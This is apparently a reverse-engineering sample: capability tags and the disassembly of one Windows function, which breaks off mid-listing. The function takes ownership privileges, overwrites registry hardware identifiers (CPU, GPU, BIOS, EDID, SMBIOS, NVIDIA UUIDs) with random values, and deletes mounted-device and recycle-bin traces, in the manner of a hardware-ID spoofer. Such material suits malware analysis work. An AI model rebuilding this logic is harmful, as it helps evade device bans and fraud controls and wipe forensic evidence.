Function at 0x1400010d0
Capabilities:
Delete registry value
Delete volume shadow copies
Enumerate files on windows
Enumerate processes
Get common file path
Get cpu information
Get disk information
Persist via windows service
Query or enumerate registry key
Query or enumerate registry value
Read file on windows
Set registry value
Terminate process
Write file on windows

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x218c8]
mov eax, 0x219c8
call fcn.14001ca60
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x218a0], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.14000a33c
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryKey
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r13d, r13d
lea r8, [rbp - 0x78]
lea rdx, str.SeTakeOwnershipPrivilege
mov qword [0x14002df10], rax
xor ecx, ecx
mov qword [rbp - 0x78], r13
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140001177
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.SeTakeOwnershipPrivilege
lea rcx, str.Failed_to_lookup_privilege__ws:__d_n
call fcn.140001010
jmp 0x140001224
mov rax, qword [rbp - 0x78]
mov qword [rbp - 0x54], rax
mov dword [rbp - 0x58], 1
mov dword [rbp - 0x4c], 2
mov qword [rsp + 0x40], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400011c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_current_process_token:__d_n
call fcn.140001010
jmp 0x140001224
mov rcx, qword [rsp + 0x40]
lea r8, [rbp - 0x58]
mov qword [rsp + 0x28], r13
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001200
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_adjust_current_process_token_privileges:__d_n
call fcn.140001010
jmp 0x140001219
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x14000123a
lea rcx, str.Token_failed_to_acquire_privilege_n
call fcn.140001010
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.failed_to_adjust_privilege_n
call fcn.140001010
mov eax, 1
jmp 0x1400059f1
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x219e0], rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov dword [rbp - 0x68], 1
mov r8d, 0xff
lea rcx, [rbp + 0xd80]
call fcn.14001cdb0
xor edx, edx
mov dword [rbp - 0x60], 0xff
mov r8d, 0xf6
lea rcx, [rbp + 0x869]
call fcn.14001cdb0
lea rax, [rsp + 0x60]
mov dword [rbp - 0x64], 4
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be10318
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x38], r13
xor r8d, r8d
mov qword [rsp + 0x30], r13
xor edx, edx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
lea rcx, str.changed_
call fcn.140001010
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x64]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x68]
lea rax, [rbp - 0x48]
xor r8d, r8d
lea rdx, str.GPU_Description
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor ecx, ecx
call fcn.14000d5fc
mov ecx, eax
call fcn.14000a33c
mov rbx, r13
call fcn.14000a310
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x61
mov byte [rbp + rbx + 0x210], r8b
inc rbx
cmp rbx, 0xa
jl 0x140001320
lea r8, [rbp + 0x210]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r8 + rax], r13b
jne 0x140001363
mov rcx, qword [rsp + 0x60]
lea rdx, str.GPU_Description
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x210]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, str.changed_
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ecx, ecx
call fcn.14000d5fc
mov ecx, eax
call fcn.14000a33c
mov rbx, r13
call fcn.14000a310
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x61
mov byte [rbp + rbx + 0x220], r8b
inc rbx
cmp rbx, 0xa
jl 0x1400013e6
lea rcx, [rbp + 0x220]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], r13b
jne 0x140001430
mov rcx, qword [rsp + 0x60]
lea rdx, str.BaseBoardManufacturer
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x220]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400014a4
mov eax, 1
jmp 0x1400059e9
lea rcx, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x28], rcx
lea r9, [rbp - 0x68]
lea rcx, [rbp + 0xd80]
mov qword [rsp + 0x20], rcx
lea rdx, str.ProcessorNameString
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400014e0
mov eax, 2
jmp 0x1400059e9
mov qword [rsp + 0x219f0], rdi
call fcn.14000a310
movsxd rcx, eax
lea rdi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
movabs rbx, 0x4ec4ec4ec4ec4ec5
mov rax, rbx
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x860], al
call fcn.14000a310
movsxd rcx, eax
mov rax, rbx
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x861], al
call fcn.14000a310
movsxd rcx, eax
mov rax, rbx
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x862], al
call fcn.14000a310
movsxd rcx, eax
mov rax, rbx
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x863], al
call fcn.14000a310
movsxd rcx, eax
mov rax, rbx
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x864], al
call fcn.14000a310
movsxd rcx, eax
mov rax, rbx
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x865], al
call fcn.14000a310
movsxd r8, eax
mov rax, rbx
mul r8
shr rdx, 4
imul rcx, rdx, 0x34
sub r8, rcx
movzx ecx, byte [r8 + rdi]
mov byte [rbp + 0x866], cl
call fcn.14000a310
mov r9d, dword [rbp - 0x68]
movsxd rcx, eax
mov rax, rbx
mul rcx
mov dword [rsp + 0x28], 0xff
shr rdx, 4
imul rax, rdx, 0x34
mov byte [rbp + 0x868], r13b
sub rcx, rax
xor r8d, r8d
movzx eax, byte [rcx + rdi]
mov byte [rbp + 0x867], al
lea rax, [rbp + 0x860]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x60]
lea rdx, str.ProcessorNameString
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001654
mov eax, 3
jmp 0x1400059e1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x14000166d
mov eax, 4
jmp 0x1400059e1
mov qword [rsp + 0x219e8], rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x219c0], r12
lea rdx, str.SYSTEMCurrentControlSetEnumDISPLAY
mov qword [rsp + 0x219b8], r14
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x219b0], r15
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x14000171c
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetEnumDISPLAY
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140001a05
mov r15, qword [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x40]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, r15
mov qword [rsp + 0x20], r13
mov r12d, r13d
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400019fc
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x58], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400017f1
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, r15
call qword [0x14002df10]
lea r8, [rbp - 0x40]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400019c2
mov rsi, qword [rsp + 0x58]
lea rcx, [rbp + 0x960]
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x960]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r13
mov r14d, r13d
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400019b9
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x960]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400018c7
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, rsi
call qword [0x14002df10]
lea r8, [rbp + 0x960]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x14000197c
mov rdi, qword [rsp + 0x50]
lea rcx, [rbp + 0x440]
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x80]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x440]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], r13
mov ebx, r13d
mov dword [rbp - 0x80], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140001973
lea rdx, str.device_parameters
lea rcx, [rbp + 0x440]
call fcn.14000a5d8
mov rcx, rdi
test eax, eax
je 0x140001960
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x80]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x440]
inc ebx
mov qword [rsp + 0x28], r13
mov edx, ebx
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x80], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140001910
jmp 0x140001973
lea r8, str.EDID
lea rdx, [rbp + 0x440]
call fcn.140006060
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], r13
lea r8, [rbp + 0x960]
inc r14d
mov qword [rsp + 0x28], r13
mov edx, r14d
mov qword [rsp + 0x20], r13
mov rcx, rsi
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140001840
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x40]
inc r12d
mov qword [rsp + 0x28], r13
mov edx, r12d
mov qword [rsp + 0x20], r13
mov rcx, r15
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140001770
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlVideo
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140001a94
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMCurrentControlSetControlVideo
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140001ec0
mov r12, qword [rsp + 0x50]
lea rcx, [rbp + 0x960]
call fcn.14001cdb0
xor ebx, ebx
mov dword [rbp - 0x6c], 0x208
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], rbx
lea r8, [rbp + 0x960]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140001eb4
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x208
call fcn.14001cdb0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPVIDEO
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001b86
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.HARDWAREDEVICEMAPVIDEO
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140001e77
mov r14, qword [rsp + 0x40]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.MaxObjectNumber
lea rax, [rbp - 0x70]
mov dword [rbp - 0x70], ebx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp - 0x80], 4
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001bc8
mov eax, 1
jmp 0x140001c23
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, r14
call qword [0x14002df10]
lea r8, str.MaxObjectNumber
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_read:__ws_ws_n_n
call fcn.140001010
mov eax, ebx
test eax, eax
je 0x140001e6e
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x208
call fcn.14001cdb0
xor edx, edx
lea rcx, [rbp + 0x650]
mov r8d, 0x208
call fcn.14001cdb0
cmp dword [rbp - 0x70], 0
mov esi, ebx
jbe 0x140001e6e
nop dword [rax]
mov r8d, esi
mov dword [rbp - 0x80], 0x208
lea rdx, str.DeviceVideo_d
lea rcx, [rbp - 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x650]
xor r8d, r8d
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001e0d
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x650]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov r15, rax
test rax, rax
je 0x140001e63
cmp word [rbp + 0x440], 0
jne 0x140001db7
mov rdx, rbx
nop dword [rax]
movzx ecx, word [rbp + rdx + 0x960]
mov word [rbp + rdx + 0x440], cx
lea rdx, [rdx + 2]
test cx, cx
jne 0x140001ce0
mov edi, ebx
lea rcx, [rbp + 0x440]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140001d10
test rax, rax
je 0x140001da1
mov rcx, rbx
nop word [rax + rax]
lea rbx, [rbp + 0x440]
mov edx, 0x80
lea rbx, [rbx + rcx*2]
movzx ecx, word [rbx]
call fcn.14000d574
test eax, eax
je 0x140001d79
call fcn.14000a310
cdqe
lea r8, [0x14002cab0]
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [r8 + rcx*2], 0
jne 0x140001d61
xor edx, edx
div rcx
movzx eax, word [r8 + rdx*2]
mov word [rbx], ax
inc edi
lea rdx, [rbp + 0x440]
mov ecx, edi
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140001d90
cmp rcx, rax
jb 0x140001d30
xor ebx, ebx
lea r8, [rbp + 0x440]
mov rcx, r12
lea rdx, [rbp + 0x960]
call fcn.1400062a0
lea rax, [rbp + 0x440]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140001dc5
add r8, r8
lea rdx, [rbp + 0x440]
mov rcx, r15
call fcn.14001d170
mov eax, dword [rbp - 0x80]
lea rdx, [rbp - 0x40]
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x650]
xor r8d, r8d
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140001e63
xor edx, edx
mov dword [rbp - 0x78], 0x208
mov r8d, 0x208
lea rcx, [0x14002dcf0]
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, r14
call qword [0x14002df10]
lea r8, [rbp - 0x40]
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_read:__ws_ws_n_n
call fcn.140001010
inc esi
cmp esi, dword [rbp - 0x70]
jb 0x140001c60
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rbx
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], rbx
lea r8, [rbp + 0x960]
inc r13d
mov qword [rsp + 0x28], rbx
mov edx, r13d
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140001ae0
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r13d, r13d
lea r8, str.SMBiosData
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetServicesmssmbiosData
call fcn.1400065c0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfig
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140001f69
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SYSTEMHardwareConfig
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140002043
lea rcx, [rbp + 0x650]
call fcn.14001cdb0
mov rdi, qword [rsp + 0x50]
lea r8, [rbp + 0x650]
mov rcx, rdi
lea rdx, str.LastConfig
call fcn.140005a10
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x208
call fcn.14001cdb0
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x40]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], r13
mov ebx, r13d
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14000203a
nop word [rax + rax]
lea rdx, str.current
lea rcx, [rbp - 0x40]
call fcn.14000a5d8
mov rcx, rdi
test eax, eax
jne 0x14000202a
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x40]
inc ebx
mov qword [rsp + 0x28], r13
mov edx, ebx
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140001fe0
jmp 0x14000203a
lea r8, [rbp + 0x650]
lea rdx, [rbp - 0x40]
call fcn.1400062a0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWARENVIDIA_CorporationGlobal
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x1400020cf
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWARENVIDIA_CorporationGlobal
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400020ff
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x650]
call fcn.14001cdb0
lea r8, [rbp + 0x650]
mov rcx, rbx
lea rdx, str.ClientUUID
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWARENVIDIA_CorporationGlobal
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x14000218b
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWARENVIDIA_CorporationGlobal
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x1400021bb
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x650]
call fcn.14001cdb0
lea r8, [rbp + 0x650]
mov rcx, rbx
lea rdx, str.PersistenceIdentifier
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r13
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWARENVIDIA_CorporationGlobalCoProcManager
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor edx, edx
mov r8d, 0x208
test eax, eax
je 0x140002247
lea rcx, [0x14002dcf0]
mov dword [rbp - 0x78], r8d
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000002
call qword [0x14002df10]
lea r8, str.SOFTWARENVIDIA_CorporationGlobalCoProcManager
lea rdx, [0x14002dcf6]
lea rcx, str.Failed_to_open_key:__ws_ws_n_n
call fcn.140001010
jmp 0x140002277
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x650]
call fcn.14001cdb0
lea r8, [rbp + 0x650]
mov rcx, rbx
lea rdx, str.ChipsetMatchID
call fcn.140005a10
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.SYSTEMMountedDevices
mov rcx, 0xffffffff80000002
call fcn.1400064c0
lea rdx, str.SOFTWAREMicrosoftDfrgStatistics
mov rcx, 0xffffffff80000002
call fcn.1400064c0
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucketVolume
mov rcx, 0xffffffff80000001
call fcn.1400064c0
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2CPCVolume
mov rcx, 0xffffffff80000001
call fcn.1400064c0
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2
mov rcx, 0xffffffff80000001
call fcn.1400064c0
lea r8, str.LastEnum
mov rcx, 0xffffffff80000001
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
cmp eax, 2
je 0x1400023c2
xor edx, edx
mov dword [rbp - 0x78], 0x208
lea rcx, [0x14002dcf0]
mov r8d, 0x208
test eax, eax
jne 0x140002374
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000001
call qword [0x14002df10]
lea r9, str.LastEnum
mov dword [rsp + 0x28], 0xc4
lea r8, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket
mov dword [rsp + 0x20], 0xc0
lea rdx, [0x14002dcf6]
lea rcx, str._ws_ws_ws_n_c_c_deleted_n_n
call fcn.140001010
jmp 0x1400023c2
call fcn.14001cdb0
lea rax, [rbp - 0x78]
mov r9d, 0x208
lea r8, [0x14002dcf0]
mov qword [rsp + 0x20], rax
mov edx, 3
mov rcx, 0xffffffff80000001
call qword [0x14002df10]
lea r9, str.LastEnum
